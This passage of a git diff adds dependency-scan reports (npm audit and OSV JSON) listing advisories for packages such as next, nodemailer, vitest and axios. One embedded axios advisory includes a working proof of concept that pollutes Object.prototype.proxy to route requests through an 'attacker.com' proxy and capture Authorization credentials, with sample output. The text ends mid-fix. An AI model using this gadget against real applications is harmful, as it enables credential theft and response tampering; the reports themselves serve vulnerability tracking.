+ },
+ {
+ "source": 1118946,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js vulnerable to cache poisoning via collisions in React Server Component cache-busting",
+ "url": "https://github.com/advisories/GHSA-vfv6-92ff-j949",
+ "severity": "low",
+ "cwe": [
+ "CWE-328"
+ ],
+ "cvss": {
+ "score": 3.7,
+ "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"
+ },
+ "range": ">=13.4.6 <15.5.16"
+ },
+ {
+ "source": 1118948,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js has cross-site scripting in beforeInteractive scripts with untrusted input",
+ "url": "https://github.com/advisories/GHSA-gx5p-jg67-6x7h",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-79"
+ ],
+ "cvss": {
+ "score": 6.1,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ },
+ "range": ">=13.0.0 <15.5.16"
+ },
+ {
+ "source": 1118952,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js has a Denial of Service in the Image Optimization API",
+ "url": "https://github.com/advisories/GHSA-h64f-5h5j-jqjh",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-770"
+ ],
+ "cvss": {
+ "score": 5.9,
+ "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
+ "range": ">=10.0.0 <15.5.16"
+ },
+ {
+ "source": 1118954,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js vulnerable to server-side request forgery in applications using WebSocket upgrades",
+ "url": "https://github.com/advisories/GHSA-c4j6-fc7j-m34r",
+ "severity": "high",
+ "cwe": [
+ "CWE-918"
+ ],
+ "cvss": {
+ "score": 8.6,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
+ },
+ "range": ">=13.4.13 <15.5.16"
+ },
+ {
+ "source": 1118958,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js vulnerable to cache poisoning in React Server Component responses",
+ "url": "https://github.com/advisories/GHSA-wfc6-r584-vfw7",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-436"
+ ],
+ "cvss": {
+ "score": 5.4,
+ "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:L"
+ },
+ "range": ">=14.2.0 <15.5.16"
+ },
+ {
+ "source": 1118962,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js has a Middleware / Proxy bypass in Pages Router applications using i18n",
+ "url": "https://github.com/advisories/GHSA-36qx-fr4f-26g5",
+ "severity": "high",
+ "cwe": [
+ "CWE-863"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
+ },
+ "range": ">=12.2.0 <15.5.16"
+ },
+ "postcss"
+ ],
+ "effects": [],
+ "range": "0.9.9 - 16.3.0-canary.5",
+ "nodes": [
+ "node_modules/next"
+ ],
+ "fixAvailable": {
+ "name": "next",
+ "version": "14.2.35",
+ "isSemVerMajor": false
+ }
+ },
+ "node-cron": {
+ "name": "node-cron",
+ "severity": "moderate",
+ "isDirect": true,
+ "via": [
+ "uuid"
+ ],
+ "effects": [],
+ "range": "3.0.2 - 3.0.3",
+ "nodes": [
+ "node_modules/node-cron"
+ ],
+ "fixAvailable": {
+ "name": "node-cron",
+ "version": "4.2.1",
+ "isSemVerMajor": true
+ }
+ },
+ "nodemailer": {
+ "name": "nodemailer",
+ "severity": "high",
+ "isDirect": true,
+ "via": [
+ {
+ "source": 1109804,
+ "name": "nodemailer",
+ "dependency": "nodemailer",
+ "title": "Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict",
+ "url": "https://github.com/advisories/GHSA-mm7p-fcc7-pg87",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-20",
+ "CWE-436"
+ ],
+ "cvss": {
+ "score": 0,
+ "vectorString": null
+ },
+ "range": "<7.0.7"
+ },
+ {
+ "source": 1113165,
+ "name": "nodemailer",
+ "dependency": "nodemailer",
+ "title": "Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls",
+ "url": "https://github.com/advisories/GHSA-rcmh-qjqh-p98v",
+ "severity": "high",
+ "cwe": [
+ "CWE-703"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
+ "range": "<=7.0.10"
+ },
+ {
+ "source": 1115470,
+ "name": "nodemailer",
+ "dependency": "nodemailer",
+ "title": "Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter",
+ "url": "https://github.com/advisories/GHSA-c7w3-x93f-qmm8",
+ "severity": "low",
+ "cwe": [
+ "CWE-93"
+ ],
+ "cvss": {
+ "score": 0,
+ "vectorString": null
+ },
+ "range": "<8.0.4"
+ },
+ {
+ "source": 1116270,
+ "name": "nodemailer",
+ "dependency": "nodemailer",
+ "title": "Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO) ",
+ "url": "https://github.com/advisories/GHSA-vvjj-xcjg-gr5g",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-93"
+ ],
+ "cvss": {
+ "score": 4.9,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N"
+ },
+ "range": "<=8.0.4"
+ }
+ ],
+ "effects": [],
+ "range": "<=8.0.4",
+ "nodes": [
+ "node_modules/nodemailer"
+ ],
+ "fixAvailable": {
+ "name": "nodemailer",
+ "version": "8.0.10",
+ "isSemVerMajor": true
+ }
+ },
+ "postcss": {
+ "name": "postcss",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ {
+ "source": 1117015,
+ "name": "postcss",
+ "dependency": "postcss",
+ "title": "PostCSS has XSS via Unescaped in its CSS Stringify Output",
+ "url": "https://github.com/advisories/GHSA-qx2v-qp2m-jg93",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-79"
+ ],
+ "cvss": {
+ "score": 6.1,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ },
+ "range": "<8.5.10"
+ }
+ ],
+ "effects": [
+ "next"
+ ],
+ "range": "<8.5.10",
+ "nodes": [
+ "node_modules/next/node_modules/postcss"
+ ],
+ "fixAvailable": {
+ "name": "next",
+ "version": "14.2.35",
+ "isSemVerMajor": false
+ }
+ },
+ "protobufjs": {
+ "name": "protobufjs",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ {
+ "source": 1119378,
+ "name": "protobufjs",
+ "dependency": "protobufjs",
+ "title": "protobufjs: Denial of Service via unbounded recursive JSON descriptor expansion",
+ "url": "https://github.com/advisories/GHSA-jggg-4jg4-v7c6",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-674"
+ ],
+ "cvss": {
+ "score": 5.3,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
+ },
+ "range": "<=7.5.7"
+ }
+ ],
+ "effects": [],
+ "range": "<=7.5.7",
+ "nodes": [
+ "node_modules/protobufjs"
+ ],
+ "fixAvailable": true
+ },
+ "qs": {
+ "name": "qs",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ {
+ "source": 1119502,
+ "name": "qs",
+ "dependency": "qs",
+ "title": "qs has a remotely triggerable DoS: qs.stringify crashes with TypeError on null/undefined entries in comma-format arrays when encodeValuesOnly is set",
+ "url": "https://github.com/advisories/GHSA-q8mj-m7cp-5q26",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-476"
+ ],
+ "cvss": {
+ "score": 5.3,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
+ },
+ "range": ">=6.11.1 <=6.15.1"
+ }
+ ],
+ "effects": [
+ "express"
+ ],
+ "range": "6.11.1 - 6.15.1",
+ "nodes": [
+ "node_modules/body-parser/node_modules/qs",
+ "node_modules/qs"
+ ],
+ "fixAvailable": true
+ },
+ "retry-request": {
+ "name": "retry-request",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "teeny-request"
+ ],
+ "effects": [
+ "@google-cloud/storage",
+ "google-gax"
+ ],
+ "range": "7.0.0 - 7.0.2",
+ "nodes": [
+ "node_modules/retry-request"
+ ],
+ "fixAvailable": {
+ "name": "firebase-admin",
+ "version": "13.10.0",
+ "isSemVerMajor": true
+ }
+ },
+ "socket.io-adapter": {
+ "name": "socket.io-adapter",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "ws"
+ ],
+ "effects": [],
+ "range": "2.5.2 - 2.5.6",
+ "nodes": [
+ "node_modules/socket.io-adapter"
+ ],
+ "fixAvailable": true
+ },
+ "teeny-request": {
+ "name": "teeny-request",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "uuid"
+ ],
+ "effects": [
+ "@google-cloud/storage",
+ "retry-request"
+ ],
+ "range": "3.9.1 - 9.0.0",
+ "nodes": [
+ "node_modules/teeny-request"
+ ],
+ "fixAvailable": {
+ "name": "firebase-admin",
+ "version": "13.10.0",
+ "isSemVerMajor": true
+ }
+ },
+ "turbo": {
+ "name": "turbo",
+ "severity": "moderate",
+ "isDirect": true,
+ "via": [
+ {
+ "source": 1119386,
+ "name": "turbo",
+ "dependency": "turbo",
+ "title": "Trubo: Login callback CSRF/session fixation",
+ "url": "https://github.com/advisories/GHSA-hcf7-66rw-9f5r",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-352"
+ ],
+ "cvss": {
+ "score": 0,
+ "vectorString": null
+ },
+ "range": "<=2.9.13"
+ },
+ {
+ "source": 1119389,
+ "name": "turbo",
+ "dependency": "turbo",
+ "title": "Turbo: Unexpected local code execution during Yarn Berry detection",
+ "url": "https://github.com/advisories/GHSA-3qcw-2rhx-2726",
+ "severity": "low",
+ "cwe": [
+ "CWE-426"
+ ],
+ "cvss": {
+ "score": 9.8,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ },
+ "range": ">=1.1.0 <2.9.14"
+ }
+ ],
+ "effects": [],
+ "range": "<=2.9.13-canary.1",
+ "nodes": [
+ "node_modules/turbo"
+ ],
+ "fixAvailable": {
+ "name": "turbo",
+ "version": "2.9.16",
+ "isSemVerMajor": true
+ }
+ },
+ "uuid": {
+ "name": "uuid",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ {
+ "source": 1119441,
+ "name": "uuid",
+ "dependency": "uuid",
+ "title": "uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided",
+ "url": "https://github.com/advisories/GHSA-w5hq-g745-h8pq",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-787",
+ "CWE-1285"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
+ },
+ "range": "<11.1.1"
+ }
+ ],
+ "effects": [
+ "@google-cloud/storage",
+ "firebase-admin",
+ "gaxios",
+ "google-gax",
+ "node-cron",
+ "teeny-request"
+ ],
+ "range": "<11.1.1",
+ "nodes": [
+ "node_modules/@google-cloud/storage/node_modules/uuid",
+ "node_modules/gaxios/node_modules/uuid",
+ "node_modules/google-gax/node_modules/uuid",
+ "node_modules/node-cron/node_modules/uuid",
+ "node_modules/teeny-request/node_modules/uuid",
+ "node_modules/uuid"
+ ],
+ "fixAvailable": {
+ "name": "node-cron",
+ "version": "4.2.1",
+ "isSemVerMajor": true
+ }
+ },
+ "vite": {
+ "name": "vite",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ {
+ "source": 1116229,
+ "name": "vite",
+ "dependency": "vite",
+ "title": "Vite Vulnerable to Path Traversal in Optimized Deps `.map` Handling",
+ "url": "https://github.com/advisories/GHSA-4w7w-66w2-5vf9",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-22",
+ "CWE-200"
+ ],
+ "cvss": {
+ "score": 0,
+ "vectorString": null
+ },
+ "range": "<=6.4.1"
+ },
+ "esbuild"
+ ],
+ "effects": [
+ "vite-node",
+ "vitest"
+ ],
+ "range": "<=6.4.1",
+ "nodes": [
+ "node_modules/vite"
+ ],
+ "fixAvailable": {
+ "name": "vitest",
+ "version": "4.1.8",
+ "isSemVerMajor": true
+ }
+ },
+ "vite-node": {
+ "name": "vite-node",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "vite"
+ ],
+ "effects": [
+ "vitest"
+ ],
+ "range": "<=2.2.0-beta.2",
+ "nodes": [
+ "node_modules/vite-node"
+ ],
+ "fixAvailable": {
+ "name": "vitest",
+ "version": "4.1.8",
+ "isSemVerMajor": true
+ }
+ },
+ "vitest": {
+ "name": "vitest",
+ "severity": "critical",
+ "isDirect": true,
+ "via": [
+ {
+ "source": 1120011,
+ "name": "vitest",
+ "dependency": "vitest",
+ "title": "When Vitest UI server is listening, arbitrary file can be read and executed",
+ "url": "https://github.com/advisories/GHSA-5xrq-8626-4rwp",
+ "severity": "critical",
+ "cwe": [
+ "CWE-862"
+ ],
+ "cvss": {
+ "score": 9.8,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ },
+ "range": "<4.1.0"
+ },
+ "vite",
+ "vite-node"
+ ],
+ "effects": [],
+ "range": "<=4.1.0-beta.6",
+ "nodes": [
+ "node_modules/vitest"
+ ],
+ "fixAvailable": {
+ "name": "vitest",
+ "version": "4.1.8",
+ "isSemVerMajor": true
+ }
+ },
+ "ws": {
+ "name": "ws",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ {
+ "source": 1119108,
+ "name": "ws",
+ "dependency": "ws",
+ "title": "ws: Uninitialized memory disclosure",
+ "url": "https://github.com/advisories/GHSA-58qx-3vcg-4xpx",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-908"
+ ],
+ "cvss": {
+ "score": 4.4,
+ "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"
+ },
+ "range": ">=8.0.0 <8.20.1"
+ }
+ ],
+ "effects": [
+ "engine.io",
+ "engine.io-client",
+ "socket.io-adapter"
+ ],
+ "range": "8.0.0 - 8.20.0",
+ "nodes": [
+ "node_modules/ws"
+ ],
+ "fixAvailable": true
+ }
+ },
+ "metadata": {
+ "vulnerabilities": {
+ "info": 0,
+ "low": 1,
+ "moderate": 21,
+ "high": 4,
+ "critical": 2,
+ "total": 28
+ },
+ "dependencies": {
+ "prod": 515,
+ "dev": 248,
+ "optional": 167,
+ "peer": 1,
+ "peerOptional": 0,
+ "total": 874
+ }
+ }
+}
diff --git a/security-reports/osv.json b/security-reports/osv.json
new file mode 100644
index 0000000..cadf8f3
--- /dev/null
+++ b/security-reports/osv.json
@@ -0,0 +1,7176 @@
+{
+ "results": [
+ {
+ "source": {
+ "path": "/src/package-lock.json",
+ "type": "lockfile"
+ },
+ "packages": [
+ {
+ "package": {
+ "name": "@tootallnate/once",
+ "version": "2.0.0",
+ "ecosystem": "npm"
+ },
+ "dependency_groups": [
+ "optional"
+ ],
+ "groups": [
+ {
+ "ids": [
+ "GHSA-vpq2-c234-7xj6"
+ ],
+ "aliases": [
+ "CVE-2026-3449",
+ "GHSA-vpq2-c234-7xj6"
+ ],
+ "max_severity": "3.3"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-vpq2-c234-7xj6/GHSA-vpq2-c234-7xj6.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "@tootallnate/once",
+ "purl": "pkg:npm/%40tootallnate%2Fonce"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "3.0.0"
+ },
+ {
+ "fixed": "3.0.1"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-vpq2-c234-7xj6/GHSA-vpq2-c234-7xj6.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "@tootallnate/once",
+ "purl": "pkg:npm/%40tootallnate%2Fonce"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "2.0.1"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-3449"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-705"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-03-04T20:15:03Z",
+ "nvd_published_at": "2026-03-03T05:17:25Z",
+ "severity": "LOW"
+ },
+ "details": "Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability.",
+ "id": "GHSA-vpq2-c234-7xj6",
+ "modified": "2026-05-21T17:00:10.191752857Z",
+ "published": "2026-03-03T06:31:14Z",
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3449"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/TooTallNate/once/issues/8"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/TooTallNate/once/commit/b9f43cc5259bee2952d91ad3cdbd201a82df448a"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/TooTallNate/once"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/TooTallNate/once/releases/tag/v2.0.1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://security.snyk.io/vuln/SNYK-JS-TOOTALLNATEONCE-15250612"
+ }
+ ],
+ "related": [
+ "CGA-5jrv-6f42-c3ph"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
+ "type": "CVSS_V3"
+ },
+ {
+ "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "@tootallnate/once vulnerable to Incorrect Control Flow Scoping"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "axios",
+ "version": "1.15.2",
+ "ecosystem": "npm"
+ },
+ "groups": [
+ {
+ "ids": [
+ "GHSA-35jp-ww65-95wh"
+ ],
+ "aliases": [
+ "CVE-2026-44494",
+ "GHSA-35jp-ww65-95wh"
+ ],
+ "max_severity": "8.7"
+ },
+ {
+ "ids": [
+ "GHSA-654m-c8p4-x5fp"
+ ],
+ "aliases": [
+ "CVE-2026-44489",
+ "GHSA-654m-c8p4-x5fp"
+ ],
+ "max_severity": "3.7"
+ },
+ {
+ "ids": [
+ "GHSA-777c-7fjr-54vf"
+ ],
+ "aliases": [
+ "CVE-2026-44488",
+ "GHSA-777c-7fjr-54vf"
+ ],
+ "max_severity": "7.5"
+ },
+ {
+ "ids": [
+ "GHSA-898c-q2cr-xwhg"
+ ],
+ "aliases": [
+ "CVE-2026-44490",
+ "GHSA-898c-q2cr-xwhg"
+ ],
+ "max_severity": "4.8"
+ },
+ {
+ "ids": [
+ "GHSA-hfxv-24rg-xrqf"
+ ],
+ "aliases": [
+ "CVE-2026-44496",
+ "GHSA-hfxv-24rg-xrqf"
+ ],
+ "max_severity": "7.5"
+ },
+ {
+ "ids": [
+ "GHSA-j5f8-grm9-p9fc"
+ ],
+ "aliases": [
+ "CVE-2026-44486",
+ "GHSA-j5f8-grm9-p9fc"
+ ],
+ "max_severity": "7.5"
+ },
+ {
+ "ids": [
+ "GHSA-p92q-9vqr-4j8v"
+ ],
+ "aliases": [
+ "CVE-2026-44487",
+ "GHSA-p92q-9vqr-4j8v"
+ ],
+ "max_severity": "8.2"
+ },
+ {
+ "ids": [
+ "GHSA-pjwm-pj3p-43mv"
+ ],
+ "aliases": [
+ "CVE-2026-44492",
+ "GHSA-pjwm-pj3p-43mv"
+ ],
+ "max_severity": "8.6"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-35jp-ww65-95wh/GHSA-35jp-ww65-95wh.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "axios",
+ "purl": "pkg:npm/axios"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "1.0.0"
+ },
+ {
+ "fixed": "1.16.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44494"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-441",
+ "CWE-1321"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-29T16:04:00Z",
+ "nvd_published_at": null,
+ "severity": "HIGH"
+ },
+ "details": "# Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into a **full Man-in-the-Middle (MITM) attack** — intercepting, reading, and modifying all HTTP traffic including authentication credentials.\n\nThe HTTP adapter at `lib/adapters/http.js:670` reads `config.proxy` via standard property access, which traverses the prototype chain. Because `proxy` is **not present in Axios defaults**, the merged config object has no own `proxy` property, making it trivially injectable via prototype pollution. Once injected, `setProxy()` routes **all** HTTP requests through the attacker's proxy server.\n\nUnlike the `transformResponse` gadget (which is constrained by `assertOptions` to return `true`), the proxy gadget has **zero constraints** — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.\n\n**Severity:** Critical (CVSS 9.4)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/adapters/http.js` (config property access on merged object)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-441:** Unintended Proxy or Intermediary ('Confused Deputy')\n\n## CVSS 3.1\n\n**Score: 9.4 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment: `Object.prototype.proxy = {host:'attacker', port:8080}`. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | MITM within the application's network context |\n| Confidentiality | **High** | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |\n| Integrity | **High** | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. **No constraints** — unlike `transformResponse` which must return `true` |\n| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |\n\n\n### Why This Bypasses mergeConfig\n\nThe critical difference from `transformResponse`: the `proxy` property is **not in defaults** (`lib/defaults/index.js` does not set `proxy`). This means:\n\n1. `mergeConfig` iterates `Object.keys({...defaults, ...userConfig})` — `proxy` is NOT in this set\n2. `defaultToConfig2` for `proxy` is never called\n3. The merged config has **no own `proxy` property**\n4. When `http.js:670` reads `config.proxy`, JavaScript traverses the prototype chain\n5. `Object.prototype.proxy` is found → used by `setProxy()`\n\nThis is a **more direct attack path** than `transformResponse` because it doesn't even go through `mergeConfig`'s merge logic — it completely bypasses it.\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically use the polluted `proxy` value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\nImagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:\n\n```javascript\nObject.prototype.proxy = {\n host: 'attacker.com',\n port: 8080,\n protocol: 'http',\n};\n```\n\n### 2. The Gadget Trigger (Safe Code)\n\nThe application makes a completely safe, hardcoded request:\n\n```javascript\n// This looks safe to the developer — no proxy configured\nconst response = await axios.get('https://api.internal.corp/secrets', {\n auth: { username: 'svc-account', password: 'prod-key-abc123!' }\n});\n```\n\n### 3. The Execution\n\nAt `http.js:668-670`:\n```javascript\nsetProxy(\n options,\n config.proxy, // ← traverses prototype chain → finds polluted proxy\n protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path\n);\n```\n\n`setProxy()` at `http.js:191-239` then:\n```javascript\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy; // = { host: 'attacker.com', port: 8080 }\n // ...\n if (proxy) {\n options.hostname = proxy.hostname || proxy.host; // → 'attacker.com'\n options.port = proxy.port; // → 8080\n options.path = location; // → full URL as path\n // ...\n }\n}\n```\n\n### 4. The Impact (Full MITM)\n\nThe attacker's proxy server receives:\n\n```http\nGET http://api.internal.corp/secrets HTTP/1.1\nHost: api.internal.corp\nAuthorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==\nUser-Agent: axios/1.15.0\nAccept: application/json, text/plain, */*\n```\n\nThe `Authorization` header contains `svc-account:prod-key-abc123!` in Base64. The attacker:\n- **Sees** every request URL, header, and body\n- **Modifies** every response (inject malicious data, change auth results)\n- **Logs** all API keys, session tokens, and passwords\n- Operates as an **invisible** proxy — the developer has no indication\n\n### 5. Verified PoC Code\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Attacker's proxy server\nconst intercepted = [];\nconst proxyServer = http.createServer((req, res) =\u003e {\n intercepted.push({\n url: req.url,\n authorization: req.headers.authorization,\n headers: req.headers,\n });\n res.writeHead(200, { 'Content-Type': 'application/json' });\n res.end('{\"hijacked\":true}');\n});\nawait new Promise(r =\u003e proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Real target server\nconst realServer = http.createServer((req, res) =\u003e {\n res.writeHead(200);\n res.end('{\"data\":\"real\"}');\n});\nawait new Promise(r =\u003e realServer.listen(0, r));\nconst realPort = realServer.address().port;\n\n// Prototype pollution\nObject.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };\n\n// \"Safe\" request — goes through attacker's proxy\nconst resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {\n auth: { username: 'admin', password: 'SuperSecret123!' }\n});\n\nconsole.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');\nconsole.log('Intercepted Authorization:', intercepted[0]?.authorization);\n// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)\n\ndelete Object.prototype.proxy;\nrealServer.close();\nproxyServer.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n Response source: real server\n response.data: {\"data\":\"from-real-server\"}\n Proxy intercept count: 0\n\n[2] Prototype Pollution: Object.prototype.proxy\n Set: Object.prototype.proxy = { host: \"127.0.0.1\", port: 50879 }\n\n[3] Request after pollution (same code, same URL):\n Response source: ATTACKER PROXY!\n response.data: {\"data\":\"from-attacker-proxy\",\"hijacked\":true}\n\n[4] Data intercepted by attacker's proxy:\n Full URL: http://127.0.0.1:50878/api/secrets\n Host: 127.0.0.1:50878\n Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh\n All headers: {\n \"accept\": \"application/json, text/plain, */*\",\n \"user-agent\": \"axios/1.15.0\",\n \"accept-encoding\": \"gzip, compress, deflate, br\",\n \"host\": \"127.0.0.1:50878\",\n \"authorization\": \"Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh\",\n \"connection\": \"keep-alive\"\n }\n\n[5] Attacker capabilities demonstrated:\n ✓ Full URL visible (including internal hostnames)\n ✓ Authorization header visible (Base64-encoded credentials)\n ✓ Can modify/forge response data\n ✓ Affects ALL axios HTTP requests (not just a single instance)\n ✓ No assertOptions constraints (unlike transformResponse gadget)\n```\n\n## Impact Analysis\n\n- **Full Credential Interception:** Every HTTP request's `Authorization` header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext.\n- **Arbitrary Response Tampering:** The attacker can return any response data — no constraints like `transformResponse`'s \"must return true\".\n- **Internal Network Reconnaissance:** The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.\n- **Universal Scope:** Affects every axios HTTP request in the application, including all third-party libraries that use axios.\n- **Invisible Attack:** The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.\n- **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.\n\n### Why This Is More Severe Than transformResponse (axios_26)\n\n| Dimension | transformResponse Gadget | **proxy Gadget** |\n|---|---|---|\n| Data access | `this.auth` + response data | **All headers, auth, body, URL, response** |\n| Response control | Must return `true` | **Arbitrary responses** |\n| Attack visibility | Response becomes `true` (suspicious) | **Normal-looking responses (invisible)** |\n| mergeConfig involvement | Goes through defaultToConfig2 | **Bypasses mergeConfig entirely** |\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` when reading security-sensitive config properties\n\n```javascript\n// In lib/adapters/http.js\nconst proxy = 